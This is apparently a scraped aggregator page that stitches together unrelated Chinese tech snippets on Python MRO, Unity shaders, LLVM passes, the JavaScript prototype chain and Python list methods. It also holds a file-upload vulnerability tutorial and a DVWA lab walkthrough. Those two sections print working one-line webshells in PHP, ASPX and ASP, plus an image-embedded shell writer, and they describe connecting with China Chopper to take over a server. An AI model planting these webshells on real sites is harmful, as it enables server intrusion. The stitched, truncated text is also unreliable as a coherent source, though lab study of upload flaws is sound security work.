pass

新式类多继承的查找顺序

天大地大妈咪最大 提交于 2020-02-04 14:05:10
新式类的多继承遵循C3算法 class X: pass class S(X): pass class A(X): pass class B(S): pass class C(A): pass class D(B): pass class E(C): pass class F(D, E, B): pass f1 = F() print(F.mro()) # [<class '__main__.F'>, <class '__main__.D'>, <class '__main__.E'>, <class '__main__.B'>, <class '__main__.C'>, <class '__main__.A'>, <class 'object'>] # 新式类多继承   方法: 来源: https://www.cnblogs.com/tanxu05/p/10039927.html

文件上传漏洞详解

淺唱寂寞╮ 提交于 2020-02-03 06:56:25
网站图片、文件上传功能漏洞笔记 文件上传漏洞之程序员未对上传的文件进行严格的上传和过滤,导致用户可以利用上传功能向服务器上传木马、病毒、恶意脚本、webshell等。“文件上传”本身没有问题,有问题是文件上传后服务器的处理和解析逻辑。 制作脚本文件上传至web服务器   制作脚本文件(制作相关语言文件)   php:   <?php @ eval ( $_POST ['pass']);?>   aspx:   <%@ Page Language= " Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>   asp:    <%eval request ( " pass")%>   制作图片木马   利用Edjpgcom软件直接将语句插入,或者利用cmd命令将脚本文件和图片相结合   Edjpgcomr图片插入语句 <?fputs(fopen( " shell.php","w"),<?php @eval($_POST['pass']);?>)?>   利用文件包含解析漏洞让服务器对图片进行解析,在服务器端生成脚本文件。 利用“中国菜刀”软件进行连接脚本文件   软件中的配置框中可以进行数据库配置连接      脚本绕过防火墙   具体是后端上传文件过滤语句不完善导致,文件后缀过滤、大小过滤、文件类型过滤、文件内容过滤等。   例如

DVWA靶机--简单的文件上传漏洞

依然范特西╮ 提交于 2020-02-02 13:33:53
简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../hackable/uploads/pass.php succesfully uploaded!) 我们先尝试打开看看,将路径拼接到url后面:http://192.168.147.137/dvwa/hackable/uploads/pass.php 访问成功,但是没有显示任何东西(因为是php文件) 打开 中国蚁剑 连接工具(或者 中国菜刀 )将url添加进去,密码为pass 打开文件管理,进入后台成功 来源: https://www.cnblogs.com/echoDetected/p/12251716.html

屏幕空间的阴影映射技术个人理解

陌路散爱 提交于 2020-02-01 16:09:13
首先我们来了解一下阴影的形成原理: 当一个光源发射的一条光线遇到一个不透明的物体时,这条光线就不可以再继续照亮其他物体(不考虑光线反射),这个物体就会向他旁边的物体投射阴影 而在实时渲染中,我们常用到一种名为 Shadow map 的技术,unity采用的就是这种技术 在Unity中,这个技术的实现是通过将摄像机位置与光源位置重合(光源空间),然后按照正常的渲染流程渲染出深度图来作为 阴影映射纹理 。但是需要注意的是,与正常渲染不同的是,由于我们只需要深度图信息,而正常的渲染流程会多出不必要的光照模型计算( Base Pass +Addition Pass ),我们会采用一个额外的pass专门处理这项工作—— LightMode标签下的ShadowCaster被选中后的pass 。这个Pass的渲染目标只有深度纹理。 Unity首先把摄像机放置在光源的位置上,然后调用这个Pass,通过对定点进行变换后得到光源空间下的位置,然后据此输出深度信息到阴影映射纹理 再来说一说Unity中使用的不同于传统的阴影采样技术—— 屏幕空间的阴影映射技术 个人理解如下: 首先得到屏幕空间的深度图(摄像机视角下的深度信息),在延迟渲染中已经存在,在前向渲染中需要把场景渲染一遍,得到深度图 然后将摄像机与光源重合(光源空间)下通过那个特有的pass通道渲染出阴影映射纹理(其实也是一张深度图)

翻译5 Unity Advanced Lighting

自古美人都是妖i 提交于 2020-01-31 17:54:39
使用多个光源渲染 支持多光源类型 使用光照信息 计算顶点光照 了解球谐函数 上部分介绍了Unity的基本单个光源,现在学习多个光源参与渲染物体,使用Unity5.6.6f2 1 Include Files 为了给Shader增加支持多个光源,我们需要增加更多Pass通道。但是这些Pass最终包含了几乎完全相似的代码,为了避免代码的重复性,我们可以通过把着色器代码移动到一个CG文件,然后在Shader代码中引用该文件 在文件目录中手动创建一个 MyLighting.cginc 文件,再把FirstLighting.shader内从#pragma以下到ENDCG以上区间内代码拷贝进.cginc文件。这样我们不直接在shader中写这些重复的代码,通过include引用使用它。 注意, .cginc 文件也提供了类似的避免重复定义,#define XXX_INCLUDED,再把整个文件内容放置在预处理文件块中。 #if !defined(MY_LIGHTING_INCLUDED) #define MY_LIGHTING_INCLUDED //… #endif 2 第二光源-Drection 新建两个方向光对象,参数设置如下图: 2-1. 两个光源参数 现在场景中有两个光,但是每个物体看起来没有什么区别。现在我们一次只激活一个光源,看看有什么变化。 2-2. 左main光源

如何给llvm添加一个pass

安稳与你 提交于 2020-01-29 00:32:03
记录,没什么实际内容,参照 PLCT talk 和 2019 LLVM Developers’ Meeting: A. Warzynski “Writing an LLVM Pass: 101” * 注:部分内容摘自PLCT开放日 talk 和 2019 LLVM Developers’ Meeting: A. Warzynski “Writing an LLVM Pass: 101” Pass分类 Analysis passes - 用于信息计算,其它Pass可以使用和调试相关信息 Transform passes - 可以使用Analysis passes - 以某种方式转换程序,通常是要对程序做出相应的改变 Utility passes - 提供了一些实用功能 - 例如-view-cfg可以查看函数的控制流图 但是PLCT使用的方式是 legacy pass manager 的方式,我这里使用的 new pass manager 。 添加一个LLVM pass来实现 Using LLVM For Program Transformation 中提出的 Lab: Find Non-Constant Format String . Any time the first parameter to printf, sprintf (others?) is nonconstant,

Python基础20-面向对象:静态、组合、继承与派生、多态、封装、反射、内置attr方法等

无人久伴 提交于 2020-01-28 17:01:22
目录 静态 静态属性@property 类方法@classmethod 静态方法@staticmethod 组合 继承与派生 继承与派生 继承顺序 在子类中调用父类方法与super 多态 封装 反射 模块的动态导入 内置的attr方法 带双下户线的attr方法__setattr__、__getattr__、__delattr__ __getattr__方法的牛逼用法 继承方式完成包装 静态 静态属性@property 以类Room为例,Room类里面存储了width、length、height属性,面积、体积都是通过这些属性计算出来的,没有必要再存一份面积、体积。使用装饰器@property可以把有返回值的方法变成属性一样,这样减少了冗余,对调用者来说就像直接访问属性一样方便。这就是静态属性。 class Room: def __init__(self, name, owner, width, length, height): self.name = name self.owner = owner self.width = width self.length = length self.height = height pass @property def area(self): """ 计算面积 :return: 面积 """ return self.width * self

js作用链

独自空忆成欢 提交于 2020-01-27 03:38:15
先看js里面的new 这篇文章描述了js里面的new的作用 https://zhuanlan.zhihu.com/p/23987456 new之后会产生Foo对应的模板对象(Foo.prototype),再用模板对象(Foo.prototype)对象复制得到新的对象(b,c),然后调用模板对象(Foo.prototype)的constructor(即函数Foo)对新的对象进行修改 原型语言创建有两个步骤 使用”原型对象”作为”模板”生成新对象 :这个步骤是必要的,这是每个对象出生的唯一方式。以原型为模板创建对象,这也是”原型”(prototype)的原意。 初始化内部属性 :这一步骤不是必要的。通俗点说,就是,对”复制品”不满意,我们可以”再加工”,使之获得不同于”模板”的”个性”。 要清楚原型链,首先要弄清楚对象 普通对象:(eg a b) 最普通的对象:有__proto__属性(指向其原型链),没有prototype属性。 原型对象(Person.prototype 原型对象还有constructor属性(指向构造函数对象)) 函数对象:(eg Foo()) 凡是通过new Function()创建的都是函数对象。 拥有__proto__、prototype属性(指向原型对象)。 原型对象 每创建一个函数都会有一个prototype属性,这个属性是一个指针,指向一个对象

python学习笔记(二)

馋奶兔 提交于 2020-01-27 00:25:39
1.列表及其源码功能实现   1) __add__(self, *args, **kwargs):   赋值相加   2) _contains__(self, *args, **kwargs):   列表中若包含某元素,返回true;反之,返回为false.   3) __eq__(self, *args, **kwargs):   返回值是否相等   4) __getattribute__(self, *args, **kwargs):    __getattribute__是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的__getattribute__方法。即在上面代码中,当我调用实例对象aa的name属性时,不会直接打印,而是把name的值作为实参传进__getattribute__方法中(参数obj是我随便定义的,可任意起名),经过一系列操作后,再把name的值返回。Python中只要定义了继承object的类,就默认存在属性拦截器,只不过是拦截后没有进行任何操作,而是直接返回。所以我们可以自己改写__getattribute__方法来实现相关功能,比如查看权限、打印log日志等。实例如下: class Tree(object): def __init__(self,name): self.name = name self.cate = "plant" def

PAT甲级——1035 Password (20分)

痴心易碎 提交于 2020-01-24 01:01:25
To prepare for PAT, the judge sometimes has to generate random passwords for the users. The problem is that there are always some confusing passwords since it is hard to distinguish 1 (one) from l (L in lowercase), or 0 (zero) from O (o in uppercase). One solution is to replace 1 (one) by @, 0 (zero) by %, l by L, and O by o. Now it is your job to write a program to check the accounts generated by the judge, and to help the juge modify the confusing passwords. Input Specification: Each input file contains one test case. Each case contains a positive integer N (≤1000), followed by N lines of